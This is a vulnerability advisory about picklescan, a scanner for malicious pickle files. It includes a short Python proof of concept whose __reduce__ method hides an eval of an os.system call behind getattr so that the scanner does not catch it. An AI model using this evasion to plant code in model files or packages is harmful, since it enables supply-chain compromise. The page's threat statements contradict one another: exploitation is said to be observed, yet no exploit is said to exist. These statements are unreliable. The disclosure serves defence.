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PYSEC-2026-1789
picklescanSummary
An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.
Details
It's possible to hide the eval call nested under another callable via getattr.
PoC
import builtins
class EvilClass:
@staticmethod
def _obfuscated_eval(payload):
getattr(builtins, "eval")(payload)
def __reduce__(self):
payload = "__import__('os').system('echo \"successful attack\"')"
return self._obfuscated_eval, (payload,)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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